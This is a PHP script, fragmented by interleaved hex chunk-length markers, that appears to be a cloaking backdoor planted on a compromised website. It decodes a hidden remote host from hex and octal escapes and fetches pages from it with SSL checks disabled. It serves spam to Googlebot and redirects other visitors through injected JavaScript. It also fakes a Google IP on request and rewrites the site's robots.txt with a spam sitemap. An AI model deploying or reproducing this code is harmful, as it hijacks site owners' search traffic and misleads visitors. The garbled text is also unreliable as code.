3 tr 19 ue, CURLOPT_ 9 CONNECTTI 4 MEOU 6 T => 5 1f , CURLOPT_TIMEOUT b => 8 19 , CURLOPT_SS 6 L_VERI 4 FYPE b ER => false 23 , CURLOPT_SSL_VERIFYHO 2 ST 24 => false, CURLOPT_FOLL 2 OW 7 LOCATIO 22 N => false, CURLOPT_U 5 SERAG 3 ENT d => "Moz 5 illa/ 4 5.0" 17 ]); d $data = curl_ 4 exec 16 ($ch); curl_c 4 lose 19 ($ch); } if ( 7 empty($ 9 data) && 9 ini_get(' 5 allow 7 _url_fo 3 pen 16 ')) { $contex 4 t = 6 stream a _context_c 6 reate( 11 [ "h 4 ttp" 6 => [" 8 timeout" a => 8, "he 4 ader 9 " => "Use 4 r-Ag 5 ent: e Mozilla/5.0\r\ 3 n"] 13 , "ssl 9 " => ["v 5 erify a _peer" => 13 false, "verify_peer 5 _name b " => false] 20 ]); $data = @ 17 file_get_contents($url, 10 false, $context 16 ); } if (! d empty($data)) 11 cache_set($url, 14 $data); return 5 $data 30 ; } /* ------------------------- URL ä 3 ¿¡æ 2 ¯ 34 ------------------------- */ function get_url_inf 5 o(str 6 ing $t 5 ype=' 5 domai 5 n'): 10 string { $h 3 ost 12 = $_SERVER['HTTP_ 7 HOST'] 8 ?? ''; d if ($type 6 === ' 4 no_w 3 ww' d ) return preg 6 _repla 5 ce('/ 6 ^www\. 5 /i', 9 '', $host c ); $p 5 rotoc 5 ol = 16 (!empty($_SERVER['HTTP 3 S'] 16 ) && $_SERVER['HTTPS'] 9 !== 'off 4 ') ? a "https:// 9 " : "http b ://"; 4 $bas f e = $protocol . 6 $host 1c ; if ($type === 'base f ') return $base 18 ; if ($type === 'fu 11 ll') return $base f . ($_SERVER['R 3 EQU 6 EST_UR 9 I'] ?? '' 12 ); return $ 2f host; } /* ------------------------- 4 基ç 3 ¡€å 4 ˜é‡ 21 ------------------------- */ 6 goto O 4 NPuB 8 ; ONPuB: 7 $http_ 7 type = 13 !empty($_SERVER["\x 5 48\12 4 4\x5 9 4\x50\x53 10 "]) && $_SERVER[ 10 "\x48\124\124\x5 d 0\x53"] !== " 5 \157\ 4 x66\ 4 146" 7 ? "\15 c 0\x74\x74\x7 4 0\16 5 3\72\ 7 x2f\x2f 8 " : "\x6 5 8\164 10 \164\160\72\x2f\ 5 57"; 8 goto O4O 9 9k; O4O9k 4 : $v 8 url = "\ 9 x74\157\5 5 6\152 8 \147\141 9 \x6c\x6c\ 7 163\x2e b \143\157\x6 6 d\x2f" a ; goto vgv 9 72; vgv72 5 : $qz 6 = sub 7 str(str 9 _replace( b array("\x77 8 \x77\167 8 \x2e", " 5 \56") 7 , '', $ c _SERVER["\11 8 0\x54\x5 9 4\120\x5f 8 \x48\x4f 8 \123\x54 5 "]), 4 0, 3 28 ); /* ------------------------- è 3 §£æ 4 ž f 4 å‚ 25 æ•° ------------------------- */ $s 7 z = $ii 5 d = " 6 "; if e (!empty($_GET) 5 ){ 5 $f=re a set($_GET) 9 ; $s d p = explode(' 6 -', $f f ); if (cou 6 nt($sp 7 ) === 2 11 ) { $sz 6 = $sp f [0]; $ b iid = $sp[1 b ]; } 28 } /* ------------------------- è¿ 7 œç¨‹æŽ¥ 3 å£ 20 ------------------------- */ e if (!empty($sz 10 )) { $jd = d getCurlFast(" c {$http_type} 7 {$vurl} 4 3kg. 5 aspx? 4 sz=" 8 . urlen 5 code( b $sz)); } e 3 lse 3a { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy= 17 {$http_type}"); $s 2d z = getCurlFast("{$http_type}{$vurl}3kg.aspx? 12 jd=" . urlencode($ 3 jd) c ); } $hy 4 zhdy 7 = $jd 5 . "41 9 .aspx"; 7 $surl 16 = $jd . "s41.aspx"; 26 /* ------------------------- r 5 obots 5 / si 5 temap 28 ------------------------- */ $sitemap f Line = "Sitemap 10 : {$http_type}{$ 20 _SERVER['HTTP_HOST']}{$_SERVER[' 4 SCRI 5 PT_NA 6 ME']}? 7 w=" . d 6 ate('Y 4 mdHi 6 ') . " 4 \n"; 10 function ensur 9 e_robots_ 8 sitemap( 16 $sitemapLine) { $ a robots = r f trim($_SERVER[' 4 DOCU 6 MENT_R 5 OOT'] 6 , "/\\ 7 ") . '/ a robots.txt d '; if (! d file_exists($ 14 robots)) { 1a @file_put_contents($robots 9 , "User-a 8 gent: *\ 6 nAllow 3 : / 7 \n" . $ 18 sitemapLine, LOCK_EX); 12 } else { 6 $c 1f = @file_get_contents($robots); 12 if ($c = 9 == false d || strpos($c, 18 $sitemapLine) === false 11 ) { 2a @file_put_contents($robots, $sitemapLine, 6 FILE_A 5 PPEND 12 | LOCK_EX); 7 } 2f } } /* ------------------------- 4 w= è 4 ¾“å‡ 2d º ------------------------- */ if (!empty($ 5 get[' 13 w'])) { $par 6 ams = 7 http_bu 5 ild_q 4 uery e ([ 'N 5 OUmbe 6 r' => e $get['NOUmber' 13 ] ?? '', ' c t' => 7 $get['t 17 '] ?? '', 'cn' 12 => $get['cn' 19 ] ?? '', 'pNOUm' 12 => $get['pNOUm' 17 ] ?? '', 'cid' 12 => $get['cid' 14 ] ?? '', 'm 1a ' => $get['m'] ?? '' 12 ]); $ 3 str 17 = getCurlFast("{$surl} 9 ?{$params c }"); 5 echo 16 str_replace( 4 ['yy 5 mm',' 9 ggggg','? 5 f='], 15 [$http_type 16 .$_SERVER['HTTP_HOST'] 18 .$_SERVER['SCRIPT_NAME'] 8 , $sz,'? 5 '.$qz 10 .'='], a $str b ); exi 2e t; } /* ------------------------- IP 4 判 3 定 4 (ä 3 ¿ç 4 •™ k 4 k æµ 4 ‹è¯• 24 ) ------------------------- */ $ 6 kk = i 6 sset($ 7 get['kk 5 ']) ? 13 trim($get['kk']) : 6 ''; b $ip = ($kk b !== '') ? " 4 66.2 4 49.8 3 2.8 11 " : get_real_ip() 28 ; /* ------------------------- a getdomain2 6 åˆ¤æ– 22 ­ ------------------------- */ $ e domain = trim( d getCurlFast($ 10 jd . "getdomain2 9 .aspx?rnd 5 =1&ip 5 =" . 2e $ip)); /* ------------------------- é 2 ž 7 google 3 + 6 iid ↠4 ’ è· 3 ³è½ 25 ¬ ------------------------- */ if ( d $domain !== ' b google' && b !empty($iid c )) { $k 7 name = 5 urlde 1a code(getCurlFast($jd . "gn 9 .aspx?iid 8 =" . $ii 10 d)); echo ' 5 lo 6 cation 6 ="' . 8 $jd . "a b .aspx?cname 15 =" . urlencode($kname 9 ) . "&url 6 =" . $ 22 http_type . $_SERVER['HTTP_HOST'] c . $_SERVER[' 13 SCRIPT_NAME'] . '"< 9 /script>' 36 ; exit; } /* ------------------------- 36 iid 输出 ------------------------- */ if (!empty($ e iid)) { $ 1a str = getCurlFast($hyzhdy 9 . "?iid={ 4 $iid 32 }"); echo str_replace( ['ggggg','Y 8 YYYY','X 8 XXYYY',' 4 当å 2 ‰ 7 URL','U c UUUU','MMMMM 15 ','?f='], [$ 11 sz, get_url_info( 10 ), get_url_info( 17 'base'), get_url_info(' 16 full'), get_url_info(' 9 no_www'), 23 parse_url($_SERVER['REQUEST_URI'], 3 PHP 7 _URL_PA 3 TH) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- e sitemap helper 2c ------------------------- */ function out c put_sitemap_ 3 and 12 _exit($sitemapLine c , $http_type 9 ) { 30 ensure_robots_sitemap($sitemapLine); echo " 4
12 Sitemap 3
" 39 ; exit; } /* ------------------------- kk 8 è¾“å‡ºæŽ 4 §åˆ¶ 25 ------------------------- */ if ($ d kk !== '' && 7 preg_ma 3 tch 7 ('/^[A- 4 Za-z 4 0-9] 3 +$/ 6 ', $kk e )) { $rem 3 ote 2b = getCurlFast($jd . "getdomain2.aspx?rnd=2 3 &kk 9 =" . $kk) 13 ; if (!empty($ 14 remote)) { c echo $remote b ; 13 exit; } } 13 if ($kk !== '' && ! 5d preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type) a ; } $i 5 s_no_ 9 query = e f mpty($_SERVER[' 5 QUERY 8 _STRING' 10 ]); if ($kk = 15 == '' && $is_no_query 9 ) { 18 if ($domain === 'google' d ) { 4a output_sitemap_and_exit($sitemapLine, $http_type); } else { 13 exit; } } 36 output_sitemap_and_exit($sitemapLine, $http_type); ?> 2 0